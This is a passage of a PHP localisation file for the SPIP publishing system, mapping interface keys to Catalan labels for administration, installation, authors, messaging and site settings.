'ical_titre_rss' => 'Fitxers de sindicació',
'icone_accueil' => 'Inici',
'icone_activer_cookie' => 'Activar la galeta de correspondència',
'icone_activite' => 'Retroacció',
'icone_admin_plugin' => 'Gestió dels connectors',
'icone_administration' => 'Manteniment',
'icone_afficher_auteurs' => 'Mostrar els autors',
'icone_afficher_visiteurs' => 'Mostrar els visitants',
'icone_arret_discussion' => 'No participar més en aquesta conversa',
'icone_calendrier' => 'Calendari',
'icone_configuration' => 'Configuració',
'icone_creer_auteur' => 'Crear un nou autor i associar-lo a aquest article',
'icone_creer_mot_cle' => 'Crear una nova paraula clau i lligar-la a aquest article',
'icone_creer_mot_cle_rubrique' => 'Crear una nova paraula clau i lligar-la a aquesta secció',
'icone_creer_mot_cle_site' => 'Crear una nova paraula clau i lligar-la a aquest lloc Web',
'icone_creer_rubrique_2' => 'Crear una nova secció',
'icone_edition' => 'Edició',
'icone_envoyer_message' => 'Enviar aquest missatge',
'icone_ma_langue' => 'La meva llengua',
'icone_mes_infos' => 'Les meves informacions',
'icone_mes_preferences' => 'Les meves preferències',
'icone_modifier_article' => 'Modificar aquest article',
'icone_modifier_message' => 'Modificar aquest missatge',
'icone_modifier_rubrique' => 'Modificar aquesta secció',
'icone_publication' => 'Publicació',
'icone_relancer_signataire' => 'Tornar a iniciar el signant',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_squelette' => 'Esquelets',
'icone_suivi_publication' => 'Seguiment de la publicació',
'icone_supprimer_cookie' => 'Suprimir la galeta de correspondència',
'icone_supprimer_rubrique' => 'Suprimir aquesta secció',
'icone_supprimer_signature' => 'Suprimir aquesta secció',
'icone_valider_signature' => 'Validar aquesta signatura',
'image_administrer_rubrique' => 'Podeu administrar aquesta secció',
'impossible_modifier_login_auteur' => 'Impossible modificar l’usuari.',
'impossible_modifier_pass_auteur' => 'Impossible modificar la contrasenya.',
'info_1_article' => '1 article',
'info_1_article_syndique' => '1 article sindicat',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 missatge',
'info_1_mot_cle' => '1 paraula clau',
'info_1_rubrique' => '1 secció',
'info_1_site' => '1 lloc',
'info_1_visiteur' => '1 visitant',
'info_activer_cookie' => 'Podeu activar una <b>galeta de correspondència</b>, us permetrà passar fàcilment del lloc públic al lloc privat.',
'info_admin_etre_webmestre' => 'Donar-me els drets d’administrador',
'info_admin_gere_rubriques' => 'Aquest administrador gestiona les següents seccions:',
'info_admin_gere_toutes_rubriques' => 'Aquest administrador gestiona <b>totes les seccions</b>',
'info_admin_gere_toutes_rubriques_2' => 'Gestiono <b>totes les seccions</b>',
'info_admin_je_suis_webmestre' => 'Sóc <b>administrador</b>',
'info_admin_statuer_webmestre' => 'Donar a aquest administrador els drets de webmestre',
'info_admin_webmestre' => 'Aquest administrador és <b>webmestre</b>',
'info_administrateur' => 'Administrador',
'info_administrateur_1' => 'Administrador',
'info_administrateur_2' => ' del lloc (<i>utilitzar amb precaució</i>)',
'info_administrateur_site_01' => 'Si sóu administrador del lloc, vulgueu ',
'info_administrateur_site_02' => 'feu un clic sobre aquest link',
'info_administrateurs' => 'Administradors',
'info_administrer_rubrique' => 'Podeu administrar aquesta secció',
'info_adresse' => 'a l’adreça:',
'info_adresse_url' => 'Adreça (URL) del lloc públic',
'info_afficher_par_nb' => 'Mostrar per',
'info_afficher_visites' => 'Mostrar les visites per:',
'info_aide_en_ligne' => 'Ajuda en línia d’SPIP',
'info_ajout_image' => 'Quan afegiu imatges com a documents adjunts en un article, l’SPIP pot crear automàticament imatges en miniatura de les imatges inserides. Això permet, per exemple, la creació automàtica d’una galeria o d’un portafoli.',
'info_ajout_participant' => 'El següent participant ha estat afegit:',
'info_ajouter_rubrique' => 'Afegir una altra secció per administrar:',
'info_annonce_nouveautes' => 'Avís de les novetats',
'info_anterieur' => 'anterior',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Els articles per publicar amb data posterior ',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Articles d’aquest autor',
'info_articles_miens' => 'Els meus articles',
'info_articles_tous' => 'Tots els articles',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (en el text)',
'info_attente_validation' => 'Els vostres articles en espera de validació',
'info_aucun_article' => 'Cap article',
'info_aucun_article_syndique' => 'Cap article sindicat',
'info_aucun_auteur' => 'Cap autor',
'info_aucun_message' => 'Cap missatge',
'info_aucun_rubrique' => 'Cap secció',
'info_aucun_site' => 'Cap lloc',
'info_aucun_visiteur' => 'Cap visitant',
'info_aujourdhui' => 'avui:',
'info_auteur_message' => 'AUTOR DEL MISSATGE:',
'info_auteurs' => 'Els autors',
'info_auteurs_par_tri' => 'Autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autenticació externa',
'info_avertissement' => 'Avís',
'info_barre_outils' => 'amb la seva barra d’eines?',
'info_base_installee' => 'L’estructura de la vostra bases de dades s’ha instal·lat.',
'info_bio' => 'Biografia',
'info_chapeau' => 'Encapçalament',
'info_chapeau_2' => 'Encapçalament:',
'info_chemin_acces_1' => 'Opcions: <b>Camí d’accés al directori</b>',
'info_chemin_acces_2' => 'Des d’ara, heu de configurar el camí d’accés a la informació del directori. Aquesta informació és essencial per llegir els perfils dels usuaris guardats al directori.',
'info_chemin_acces_annuaire' => 'Opcions: <b>Camí d’accés al directori',
'info_choix_base' => 'Tercer pas:',
'info_classement_1' => '<sup>r</sup> a la @liste@',
'info_classement_2' => '<sup>n</sup> a la @liste@',
'info_code_acces' => 'No oblideu els vostres codis d’accés!',
'info_compatibilite_html' => 'Norma HTML a seguir',
'info_compresseur_gzip' => '<b>N. B. :</b> Recomanem que verifiqueu prèviament si l’hostatjador ja comprimeix sistemàticament els scripts php ; per això, podeu utilitzar, per exemple, el següent servei: @testgzip@', # MODIF
'info_compresseur_texte' => 'Si el vostre servidor no comprimeix automàticament les pàgines html per enviar-les als internautes, podeu provar forçar aquesta compressió per disminuir el pes de les pàgines baixades. <b>Atenció</b>: això pot reduir considerablement la velocitat d’alguns servidors. ',
'info_config_suivi' => 'Si aquesta adreça correspon a una llista de correu, podeu indicar més avall l’adreça a la que els participants es poden registrar. Aquesta adreça pot ser una URL (per exemple la pàgina de registre a la llista per la Web), o un correu electrònic amb un assumpte específic: <tt>@adresse_suivi@?assumpte=subscriure’s</tt>):',
'info_config_suivi_explication' => 'Us podeu subscriure a la llista de correu d’aquest lloc. Si ho feu, rebreu per correu electrònic els anuncis dels articles i de les breus que es proposen per ser publicats.',
'info_confirmer_passe' => 'Confirmar la nova contrasenya:',
'info_conflit_edition_avis_non_sauvegarde' => 'Atenció, els següents camps han estat modificats en alguna altra banda. Per tant, les modificacions que s’hagin pogut en aquests camps no s’han gravat. ',
'info_conflit_edition_differences' => 'Diferències:',
'info_conflit_edition_version_enregistree' => 'La versió enregistrada:',
'info_conflit_edition_votre_version' => 'La vostra versió:',
'info_connexion_base' => 'Intent de connexió a la base de dades',
'info_connexion_base_donnee' => 'Connexió amb la vostra base de dades',
'info_connexion_ldap_ok' => 'La connexió LDAP ha reeixit.</b><p> Podeu passar a la següent etapa.</p>', # MODIF
'info_connexion_mysql' => 'La vostra connexió SQL',
'info_connexion_ok' => 'La connexió ha reexit.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contingut dels articles',
'info_contributions' => 'Contribucions',
'info_creation_paragraphe' => 'Per crear paràgrafs, deixeu simplement unes línies buides.',
'info_creation_rubrique' => 'Abans de poder escriure articles,<br /> heu de crear com a mínim una secció.<br />',
'info_creation_tables' => 'Creació de les taules de la base de dades',
'info_creer_base' => '<b>Crear</b> una nova base de dades:',
'info_dans_rubrique' => 'Dins la secció:',
'info_date_publication_anterieure' => 'Data de redacció anterior:',
'info_date_referencement' => 'DATA DE REFERÈNCIA D’AQUEST LLOC:',
'info_derniere_etape' => 'S’ha acabat!',
'info_derniers_articles_publies' => 'El més nou dels vostres articles editats',
'info_desactiver_messagerie_personnelle' => 'Podeu habilitar o inhabilitar la missatgeria personal en aquest lloc.',
'info_descriptif' => 'Descripció:',
'info_desinstaller_plugin' => 'elimina les dades i desactiva el plugin',
'info_discussion_cours' => 'Discussions en curs',
'info_ecrire_article' => 'Abans de poder escriure un article, heu de crear com a mínim una secció.',
'info_email_envoi' => 'L’adreça electrònica del remitent (opcional)',
'info_email_envoi_txt' => 'Introduiu aquí l’adreça a fer servir per enviar els correus electrònics (per defecte, l’adreça del destinatari serà utilitzada com a adreça del remitent):',
'info_email_webmestre' => 'Adreça electrònica del webmestre (opcional)', # MODIF
'info_entrer_code_alphabet' => 'Entreu el codi del joc de caràcters a fer servir:',
'info_envoi_email_automatique' => 'Enviament automàtic de correus electrònics',
'info_envoyer_maintenant' => 'Envia-ho ara',
'info_etape_suivante' => 'Passar a l’etapa següent',
'info_etape_suivante_1' => 'Pot passar a l’etapa següent.',
'info_etape_suivante_2' => 'Pot passar a l’etapa següent.',
'info_exceptions_proxy' => 'Excepcions pel proxy',
'info_exportation_base' => ' exportació de la base cap a @archive@',
'info_facilite_suivi_activite' => 'Per tal de facilitat el seguiment de l’activitat editorial, SPIP pot fer arribar per correu electrònic, per exemple a una llista de correu dels redactors, l’avís de les peticions de publicació i de les validacions dels articles.',
'info_fichiers_authent' => 'Fitxers d’autentificació « .htpasswd »',
'info_forums_abo_invites' => 'El seu lloc Web proporciona fòrums pels abonats; en el lloc públic els visitants són convidats a enregistrar-se.',
'info_gauche_admin_effacer' => '<b>Només els responsables del lloc tenen accés a aquesta pàgina.</b><p> Dóna accés a les diferents funcions de manteniment tècnic. Algunes d’aquestes necessiten un procés d’autenticació específic, que exigeix tenir un accés FTP al lloc Web.</p>',
'info_gauche_admin_tech' => '<b>Només els responsables del lloc tenen accés a aquesta pàgina.</b><p> Dóna accés a les diferents funcions de manteniment tècnic. Algunes d’aquestes necessiten un procés d’autenticació específic que requereix disposar d’un accés FTP al lloc Web.</p>',
'info_gauche_admin_vider' => '<b>Només els responsables del lloc tenen accés a aquesta pàgina.</b><p> Dóna accés a les diferents funcions de manteniment tècnic. Algunes d’aquestes necessiten un procés d’autenticació específic que requereix disposar d’un accés FTP al lloc Web.</p>',
'info_gauche_auteurs' => 'Aquí hi trobareu tots els autors del lloc.
El seu estat s’indica pel color de la seva icona (administrador = verd; redactor = groc).',
'info_gauche_auteurs_exterieurs' => 'Els autors externs, sense accés al lloc, estan indicats amb una icona blava;
els autors esborrats amb una paperera.', # MODIF
'info_gauche_messagerie' => 'La missatgeria us permet intercanviar missatges entre els redactors, conservar recordatoris (pel vostre ús personal) o mostrar avisos a la pàgina inicial de l’espai privat (si sóu administrador).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Aquesta pàgina mostra la llista de <i>referidors</i>, és a dir, dels llocs que contenen enllaços cap al vostre propi lloc Web, únicament per ahir i avui; aquesta llista es posa a zero cada 24 hores. ',
'info_gauche_visiteurs_enregistres' => 'Aquí hi trobareu els visitants registrats
a l’espai públic del lloc (fòrums per subscripció).',
'info_generation_miniatures_images' => 'Generació de miniatures d’imatges',
'info_gerer_trad' => 'Gestionar els enllaços de traducció?',
'info_gerer_trad_objets' => '@objets@ : administrar els enllaços de traducció',
'info_hebergeur_desactiver_envoi_email' => 'Alguns proveïdors d’hostatge desactiven l’enviament automàtic de correus electrònics des dels seus servidors. En aquest cas, les següents funcions d’SPIP no funcionen. ',
'info_hier' => 'ahir:',
'info_historique_activer' => 'Activar el seguiment de les revisions',
'info_historique_affiche' => 'Mostrar aquesta versió',
'info_historique_comparaison' => 'comparació',
'info_historique_desactiver' => 'Desactivar el seguiment de les revisions',
'info_historique_texte' => 'El seguiment de les revisions permet conservar un històric de totes les modificacions fetes al contingut d’un article, i mostrar les diferències entre les versions successives. ',
'info_identification_publique' => 'La vostra identitat pública...',
'info_image_process' => 'Vulgueu seleccionar el millor mètode de fabricació de vinyetes fent un clic damunt de la imatge corresponent. ',
'info_image_process2' => '<b>N.B.</b> <i>Si no apareix cap imatge, aleshores és que el servidor que allotja la vostra web no ha estat configurat per utilitzar aquestes eines. Si desitgeu emprar aquestes funcions, poseu-vos en contacte amb el responsable tècnic i demaneu les extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculades automàticament',
'info_informations_personnelles' => 'Informacions personals',
'info_inscription_automatique' => 'Inscripció automàtica dels nous redactors',
'info_jeu_caractere' => 'Joc de caràcters del lloc',
'info_jours' => 'dies',
'info_laisser_champs_vides' => 'deixar els camps buits)',
'info_langues' => 'Idiomes del lloc',
'info_ldap_ok' => 'L’autenticació LDAP està instal·lada.',
'info_lien_hypertexte' => 'Enllaç hipertext:',
'info_liste_redacteurs_connectes' => 'Llista de redactors connectats',
'info_login_existant' => 'Aquest nom d’usuari ja existeix.',
'info_login_trop_court' => 'Nom d’usuari massa curt.',
'info_login_trop_court_car_pluriel' => 'L’usuari ha de tenir com a mínim @nb@ caràcters.',
'info_logos' => 'Els logotips',
'info_maximum' => 'màxim:',
'info_meme_rubrique' => 'Dins la mateixa secció',
'info_message' => 'Missatge de',
'info_message_efface' => 'MISSATGE ESBORRAT',
'info_message_en_redaction' => 'Els vostres missatges en curs de redacció',
'info_message_technique' => 'Missatge tècnic:',
'info_messagerie_interne' => 'Missatgeria interna',
'info_mise_a_niveau_base' => 'actualització de la vostra base de dades SQL',
'info_mise_a_niveau_base_2' => '{{Atenció!}} Heu instal·lat una versió dels fitxers d’SPIP {anterior} a la que hi havia anteriorment en aquest lloc: correu el risc de perdre la vostra base de dades i que el vostre lloc deixi de funcionar.<br />{{Torneu a instal·lar els fitxers d’SPIP.}}',
'info_modification_enregistree' => 'La vostra modificació s’ha enregistrat',
'info_modifier_auteur' => 'Modificar l’autor:',
'info_modifier_rubrique' => 'Modificar la secció:',
'info_modifier_titre' => 'Modificar : @titre@',
'info_mon_site_spip' => 'El meu lloc SPIP',
'info_mot_sans_groupe' => '(Paraules sense grup...)',
'info_moteur_recherche' => 'Motor de cerca integrat',
'info_moyenne' => 'mitjana:',
'info_multi_articles' => 'Activar el menú d’idioma pels articles?',
'info_multi_cet_article' => 'Idioma d’aquest article:',
'info_multi_langues_choisies' => 'Seleccioneu a continuació els idiomes a disposició dels redactors del vostre lloc.
Els idiomes ja utilitzats en el vostre lloc (visualitzats en primer lloc) no es poden desactivar.',
'info_multi_objets' => '@objets@ : activar el menú de llengua',
'info_multi_rubriques' => 'Activar el menú d’idioma a les seccions?',
'info_multi_secteurs' => '... només per les seccions situades a l’arrel?',
'info_nb_articles' => '@nb@ articles',
'info_nb_articles_syndiques' => '@nb@ articles sindicats',
'info_nb_auteurs' => '@nb@ autors',
'info_nb_messages' => '@nb@ missatges',
'info_nb_mots_cles' => '@nb@ paraules clau',
'info_nb_rubriques' => '@nb@ seccions',
'info_nb_sites' => '@nb@ llocs',
'info_nb_visiteurs' => '@nb@ visitants',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom del destinatari',
'info_nom_site' => 'Nom del vostre lloc',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSIÓ:',
'info_nombre_rubriques' => '@nb_rubriques@ seccions,',
'info_nombre_sites' => '@nb_sites@ llocs,',
'info_non_deplacer' => 'No desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pot enviar, regularment, un avís amb les darreres novetats del lloc
(articles i breus publicats recentment).',
'info_non_envoi_liste_nouveautes' => 'No enviar la llista de novetats',
'info_non_modifiable' => 'no pot ser modificat',
'info_non_suppression_mot_cle' => 'no vull suprimir aquesta paraula clau.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Notes',
'info_nouveaux_message' => 'Nous missatges',
'info_nouvel_article' => 'Nou article',
'info_nouvelle_traduction' => 'Nova traducció:',
'info_numero_article' => 'ARTICLE NÚMERO:',
'info_obligatoire_02' => '[obligatori]',
'info_option_accepter_visiteurs' => 'Acceptar la inscripció dels visitants del lloc públic',
'info_option_faire_suivre' => 'Reenviar els missatges del fòrum als autors dels articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar la inscripció de visitants',
'info_options_avancees' => 'OPCIONS AVANÇADES',
'info_ortho_activer' => 'Activar la verificació ortogràfica.',
'info_ortho_desactiver' => 'Desactivar la verificació ortogràfica',
'info_ou' => 'o...',
'info_page_interdite' => 'Pàgina prohibida',
'info_par_nom' => 'per nom',
'info_par_nombre_article' => 'per nombre d’articles',
'info_par_statut' => 'per estat',
'info_par_tri' => '’(par @tri@)’',
'info_passe_trop_court' => 'Contrasenya massa curta.',
'info_passe_trop_court_car_pluriel' => 'La contrasenya ha de tenir com a mínim @nb@ caràcters.',
'info_passes_identiques' => 'Les dues contrasenyes no són idèntiques.',
'info_pense_bete_ancien' => 'Els vostres antics recordatoris',
'info_plus_cinq_car' => 'més de 5 caràcters',
'info_plus_cinq_car_2' => '(Més de 5 caràcters)',
'info_plus_trois_car' => '(Més de 3 caràcters)',
'info_popularite' => 'popularitat: @popularite@ ; visites: @visites@',
'info_popularite_4' => 'popularitat: @popularite@ ; visites: @visites@',
'info_post_scriptum' => 'Postdata',
'info_post_scriptum_2' => 'Postdata:',
'info_pour' => 'per',
'info_preview_admin' => 'Només els administradors poden previsualitzar el lloc web',
'info_preview_comite' => 'Tots els redactors poden previsualitzar el lloc web',
'info_preview_desactive' => 'La previsualització està totalment desactivada',
'info_preview_texte' => 'És possible previsualitzar el lloc com si tots els articles i breus (que almenys tinguen l’estat de "proposats") estigueren publicats. Aquesta possibilitat ha d’estar oberta només als administradors, a tots els redactors, o a ningú?',
'info_principaux_correspondants' => 'Els vostres principals corresponsals',
'info_procedez_par_etape' => 'procediu pas per pas',
'info_procedure_maj_version' => 'El procés d’actualització s’ha de tornar a arrancar per tal d’adaptar la base de dades a la nova versió d’SPIP.',
'info_proxy_ok' => 'Test del proxy amb èxit.',
'info_ps' => 'P.-S.',
'info_publier' => 'publicar',
'info_publies' => 'Els vostres articles publicats en línia',
'info_question_accepter_visiteurs' => 'Si a les plantilles (esquelets) del vostre lloc Web es preveu l’enregistrament de visitants sense accés a l’espai privat, vulgueu activar la següent opció:',
'info_question_inscription_nouveaux_redacteurs' => 'Accepteu les inscripcions de nous redactors a partir del lloc públic? Si ho accepteu, els visitants es podran inscriure
mitjançant un formulari automatitzat i llavors accediran a l’espai privat per proposar els seus propis articles.<blockquote><i>Durant el procés d’inscripció, els usuaris reben un correu electrònic automàtic en el que se’ls dóna els seus codis d’accés al lloc privat. Alguns proveïdors d’hostatge desactiven l’enviament de correus electrònics des dels seus servidors: en aquest
cas, la inscripció automàtica és impossible.</i></blockquote>', # MODIF
'info_question_utilisation_moteur_recherche' => 'Voleu fer servir el motor de cerca integrat a l’SPIP?
(inhabilitar-lo accelera el funcionament del sistema.)',
'info_question_vignettes_referer_non' => 'No mostrar les captures dels llocs d’origen de les visites',
'info_qui_edite' => '@nom_auteur_modif@ ha treballat en aquest contingut fa @date_diff@ minuts', # MODIF
'info_racine_site' => 'Arrel del lloc',
'info_recharger_page' => 'Actualitzeu aquesta pàgina en breus instants.',
'info_recherche_auteur_a_affiner' => 'Massa resultats per "@cherche_auteur@"; afineu la cerca.',
'info_recherche_auteur_ok' => 'Diversos redactors trobats per "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Cap resultat per « @cherche_auteur@ ».',
'info_recommencer' => 'Torneu-ho a provar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'tenint accés a l’espai privat (<i>recomanat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'En procés de redacció',
'info_redirection' => 'Redireccionament',
'info_redirection_activee' => 'La redirecció està activada.',
'info_redirection_desactivee' => 'S’ha suprimit la redirecció.',
'info_refuses' => 'Els vostres articles rebutjats',
'info_reglage_ldap' => 'Opcions: <b>Posta a punt de la importació LDAP</b>',
'info_renvoi_article' => '<b>Redirecció.</b> Aquest article et porta a la pàgina:',
'info_reserve_admin' => 'Només els adminsitradors poden modificar aquesta adreça.',
'info_restreindre_rubrique' => 'Restringir la gestió a les seccions:',
'info_resultat_recherche' => 'Resultats de la cerca:',
'info_rubriques' => 'Seccions',
'info_rubriques_02' => 'seccions',
'info_rubriques_trouvees' => 'Seccions trobades',
'info_rubriques_trouvees_dans_texte' => 'Seccions trobades (dins del text)',
'info_sans_titre' => 'Sense títol',
'info_selection_chemin_acces' => '<b>Seleccioneu</b> a continuació el camí d’accés en el directori:',
'info_signatures' => 'signatures',
'info_site' => 'Lloc',
'info_site_2' => 'lloc:',
'info_site_min' => 'lloc',
'info_site_reference_2' => 'Lloc referenciat',
'info_site_web' => 'Lloc Web:',
'info_sites' => 'llocs',
'info_sites_lies_mot' => 'Els llocs referenciats lligats a aquesta paraula clau',
'info_sites_proxy' => 'Utilitzar un proxy',
'info_sites_trouves' => 'Llocs trobats',
'info_sites_trouves_dans_texte' => 'Llocs trobats (en el text)',
'info_sous_titre' => 'Subtítol:',
'info_statut_administrateur' => 'Administrador',
'info_statut_auteur' => 'Estatus d’aquest autor:',
'info_statut_auteur_2' => 'Sóc',
'info_statut_auteur_a_confirmer' => 'Inscripció per confirmar',
'info_statut_auteur_autre' => 'Un altre estat:',
'info_statut_efface' => 'Suprimit',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estat per defecte dels usuaris importats',
'info_statut_utilisateurs_2' => 'Escolliu l’estat atribuït a les persones que hi ha al directori LDAP quan es connecten per primera vegada. Posteriorment podreu podreu modificar aquest valor cas per cas.',
'info_suivi_activite' => 'Seguiment de l’activitat editorial',
'info_surtitre' => 'Sobretítol:',
'info_syndication_integrale_1' => 'El vostre lloc Web proposa fitxers de sindicació (veure « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Desitgeu transmetre els articles en la seva totalitat, o difondre’n només alguns centenars de caràcters?',
'info_table_prefix' => 'Podeu modificar el prefix del nom de les taules de dades (aquest és indispensable quan es volen instal·lar diversos llocs Web en una mateixa base de dades). Aquest prefix s’escriu en lletres minúscules, sense accents i sense espais.',
'info_taille_maximale_images' => 'SPIP provara la mida màxima de les imatges que pot tractar (en milions de píxels).<br /> Les imatges més grans no es reduiran. ',
'info_taille_maximale_vignette' => 'Mida màxima de les vinyetes generades pel sistema:',
'info_terminer_installation' => 'Ara podeu finalitzar el procés d’instal·lació estàndard. ',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Text explicatiu',
'info_texte_long' => '(el text és llarg: es mostra en diverses parts que seran ajuntades després de la validació.)',
'info_texte_message' => 'Text del vostre missatge:',
'info_texte_message_02' => 'Text del missatge',
'info_titre' => 'Títol:',
'info_total' => 'total :',
'info_tous_articles_en_redaction' => 'Tots els articles en procés de redacció',
'info_tous_articles_presents' => 'Tots els articles publicats en aquesta secció',
'info_tous_articles_refuses' => 'Tots els articles refusats',
'info_tous_les' => 'tots els:',
'info_tous_redacteurs' => 'Avisos a tots els redactors',
'info_tout_site' => 'Tot el lloc',
'info_tout_site2' => 'L’article no ha estat traduït a aquesta llengua. ',
'info_tout_site3' => 'L’article ha estat traduït a aquesta llengua, però s’han fet modificacions a l’article de referència. La traducció s’ha de posar al dia.',
'info_tout_site4' => 'L’article ha estat traduït a aquesta llengua i la traducció posada al dia. ',
'info_tout_site5' => 'Article original.',
'info_tout_site6' => '<b>Atenció:</b> només es mostren els articles originals.
Les traduccions estan associades a l’original,
amb un color que indica el seu estat:',
'info_traductions' => 'Traduccions',
'info_travail_colaboratif' => 'Treball col·lectiu en els articles',
'info_un_article' => 'un article,',
'info_un_site' => 'un lloc,',
'info_une_rubrique' => 'una secció,',
'info_une_rubrique_02' => '1 secció',
'info_url' => 'URL:',
'info_url_proxy' => 'URL del proxy',
'info_url_site' => 'URL DEL LLOC WEB:',
'info_url_test_proxy' => 'URL de test',
'info_urlref' => 'Enllaç hipertext:',
'info_utilisation_spip' => 'Podeu començar a utilitzar el sistema de publicació assistida...',
'info_visites_par_mois' => 'Mostrar per mes:',
'info_visiteur_1' => 'Visitant',
'info_visiteur_2' => 'del lloc públic',
'info_visiteurs' => 'Visitants',
'info_visiteurs_02' => 'Visitants del lloc públic',
'info_webmestre_forces' => 'Els administradors estan definits a <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adreça de la base de dades donada per l’hostatjador',
'install_base_ok' => 'La base @base@ ha estat reconeguda',
'install_connect_ok' => 'La nova base de dades ha estat correctament declarada amb el nom del servidor @connect@.',
'install_echec_annonce' => 'La instal·lació probablement fracassarà, o anirà a parar a un lloc no funcional...',
'install_extension_mbstring' => 'SPIP no funciona amb :',
'install_extension_php_obligatoire' => 'SPIP exigeix l’extensió php :',
'install_login_base_hebergeur' => 'Login de connexió donat per l’hostatjador',
'install_nom_base_hebergeur' => 'Nom de la base que ens ha donat l’hostatjador:',
'install_pas_table' => 'Base actualment sense taules',
'install_pass_base_hebergeur' => 'Contrasenya de connexió donada per l’hostatjador',
'install_php_version' => 'PHP versió @version@ insuficient (mínim = @minimum@)',
'install_select_langue' => 'Seleccioneu un idioma i després feu un clic en el botó « següent » per iniciar el procés d’instal·lació.',
'install_select_type_db' => 'Indicar el tipus de base de dades:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidor de base de dades atribuït per l’hostatjador',
'install_table_prefix_hebergeur' => 'Prefix de taula donat per l’hostatjador:',
'install_tables_base' => 'Taules de la base',
'install_types_db_connus' => 'SPIP sap utilitzar <b>MySQL</b> (el més difós), <b>PostgreSQL</b> i <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Alerta: Diversos plugins només funcionen amb MySQL', # MODIF
'instituer_erreur_statut_a_change' => 'L’estat ja s’ha modificat',
'instituer_erreur_statut_non_autorise' => 'No podeu escollir aquest estat',
'intem_redacteur' => 'redactor',
'intitule_licence' => 'Llicència',
'item_accepter_inscriptions' => 'Acceptar les inscripcions',
'item_activer_messages_avertissement' => 'Activar els missatges d’advertència',
'item_administrateur_2' => 'administrador',
'item_afficher_calendrier' => 'Mostrar en el calendari',
'item_autoriser_documents_joints' => 'Autoritzar els documents adjunts als articles',
'item_autoriser_documents_joints_rubriques' => 'Autoritzar els documents en les seccions',
'item_autoriser_syndication_integrale' => 'Difondre la totalitat dels articles als fitxers de sindicació',
'item_choix_administrateurs' => 'els administradors',
'item_choix_generation_miniature' => 'Generar automàticament les miniatures de les imatges.',
'item_choix_non_generation_miniature' => 'No generar miniatures d’aquestes imatges.',
'item_choix_redacteurs' => 'els redactors',
'item_choix_visiteurs' => 'els visitants del lloc públic',
'item_creer_fichiers_authent' => 'Crear els fitxers .htpasswd',
'item_limiter_recherche' => 'Limitar la cerca a les informacions que hi ha en aquest lloc',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activar la missatgeria i l’agenda',
'item_mots_cles_association_articles' => 'als articles',
'item_mots_cles_association_rubriques' => 'a les seccions',
'item_mots_cles_association_sites' => 'als llocs referenciats o sindicats.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'No acceptar les inscripcions',
'item_non_activer_messages_avertissement' => 'Sense missatges d’advertència',
'item_non_afficher_calendrier' => 'No mostrar-ho en el calendari',
'item_non_autoriser_documents_joints' => 'Impedir la inclusió de documents en els articles',
'item_non_autoriser_documents_joints_rubriques' => 'Impedir la inclusió de documents en les seccions',
'item_non_autoriser_syndication_integrale' => 'Només difondre un resum',
'item_non_compresseur' => 'Desactivar la compressió',
'item_non_creer_fichiers_authent' => 'No crear aquests fitxers',
'item_non_gerer_statistiques' => 'No gestionar les estadístiques',
'item_non_limiter_recherche' => 'Ampliar la cerca als continguts dels llocs referenciats',
'item_non_messagerie_agenda' => 'Desactivar la missatgeria i l’agenda',
'item_non_publier_articles' => 'No publicar els articles abans de la data de publicació fixada.',
'item_non_utiliser_moteur_recherche' => 'No utilitzar el motor',
'item_nouvel_auteur' => 'Nou autor',
'item_nouvelle_rubrique' => 'Nova secció',
'item_oui' => 'Si',
'item_publier_articles' => 'Publicar els articles sense tenir en compte la data de la seva publicació.',
'item_reponse_article' => 'Resposta a l’article',
'item_utiliser_moteur_recherche' => 'Utilitzar el motor de cerca',
'item_version_html_max_html4' => 'Limitar l’HTML4 al lloc públic',
'item_version_html_max_html5' => 'Permetre l’HTML5',
'item_visiteur' => 'visitant',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra d’eines',
'label_bando_outils_afficher' => 'Mostrar les eines',
'label_bando_outils_masquer' => 'Amagar les eines',
'label_choix_langue' => 'Seleccioneu la vostra llengua',
'label_nom_fichier_connect' => 'Indiqueu el nom utilitzat per aquest servidor',
'label_slogan_site' => 'Eslògan del lloc',
'label_taille_ecran' => 'Amplada de la pantalla',
'label_texte_et_icones_navigation' => 'Menú de navegació',
'label_texte_et_icones_page' => 'Visualització a la pàgina',
'ldap_correspondance' => 'herència del camp @champ@',
'ldap_correspondance_1' => 'Herència dels camps LDAP',
'ldap_correspondance_2' => 'Per cadascun dels camps següents d’SPIP, indiqueu el nom del camp LDAP corresponent. Deixeu-lo buit per no omplir-lo, separeu-lo amb espais o comes per assajar diversos camps LDAP.',
'lien_ajout_destinataire' => 'Afegir aquest destinatari',
'lien_ajouter_auteur' => 'Afegir aquest autor',
'lien_ajouter_participant' => 'Afegir un participant',
'lien_email' => 'correu electrònic',
'lien_nom_site' => 'NOM DEL LLOC:',
